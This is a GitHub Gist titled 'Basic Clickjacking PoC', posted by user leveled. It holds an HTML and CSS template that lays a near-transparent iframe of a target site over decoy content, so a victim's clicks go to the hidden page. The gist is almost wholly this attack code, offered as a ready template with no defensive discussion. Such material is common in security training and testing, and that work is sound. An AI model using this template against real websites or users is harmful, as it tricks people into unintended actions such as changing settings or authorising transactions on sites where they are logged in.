Skip to content

Instantly share code, notes, and snippets.

@leveled
Created January 19, 2021 01:23
Show Gist options
  • Save leveled/c867361245f0f476610fe533591abc2f to your computer and use it in GitHub Desktop.
Save leveled/c867361245f0f476610fe533591abc2f to your computer and use it in GitHub Desktop.
Basic Clickjacking PoC
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment